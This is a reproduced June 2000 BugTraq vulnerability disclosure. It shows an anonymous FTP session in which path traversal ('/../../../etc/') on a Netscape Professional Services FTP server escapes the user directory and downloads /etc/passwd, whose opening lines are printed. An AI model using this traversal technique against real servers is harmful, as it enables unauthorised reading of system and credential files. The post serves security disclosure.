Netscape Professional Services FTP Server Vulnerability

From Michael Zalewski's June 21, 2000 BugTraq Post:

$ ftp ftp.XXXX.xxx
Connected to ftp.XXXX.xxx.
220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
220 You will be logged off after 1200 seconds of inactivity.
Name (ftp.XXXX.xxx:lcamtuf): anonymous
331 Anonymous user OK, send e-mail address as password.
Password:
230 Logged in OK
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
file or directory

[Well... this won't work... uh, lovely physical path, btw ;]

ftp> cd /../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
directory
ftp> cd /../../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/dupa" because
No such file or directory

[Erm? Good God!]

ftp> cd /../../../../../../../../etc/dupa
550 Can't change directory to "/etc/dupa" because No such file or
directory
ftp> cd /../../../../../../../../etc/
250 CWD command successful.
ftp> get /../../../../../../../../etc/passwd KUKU
local: KUKU remote: /../../../../../../../../etc/passwd
200 PORT successfull, connected to A.B.C.D port 62437
150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
150 Opening data connection
226 File downloaded successfully (602 bytes, 602 bytes xmitted)
602 bytes received in 1.71 secs (0.34 Kbytes/sec)
ftp> quit
221-Goodbye. You uploaded 0 and downloaded 1 kbytes.
221 CPU time spent on you: 0.100 seconds.

$ cat KUKU
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
...


 

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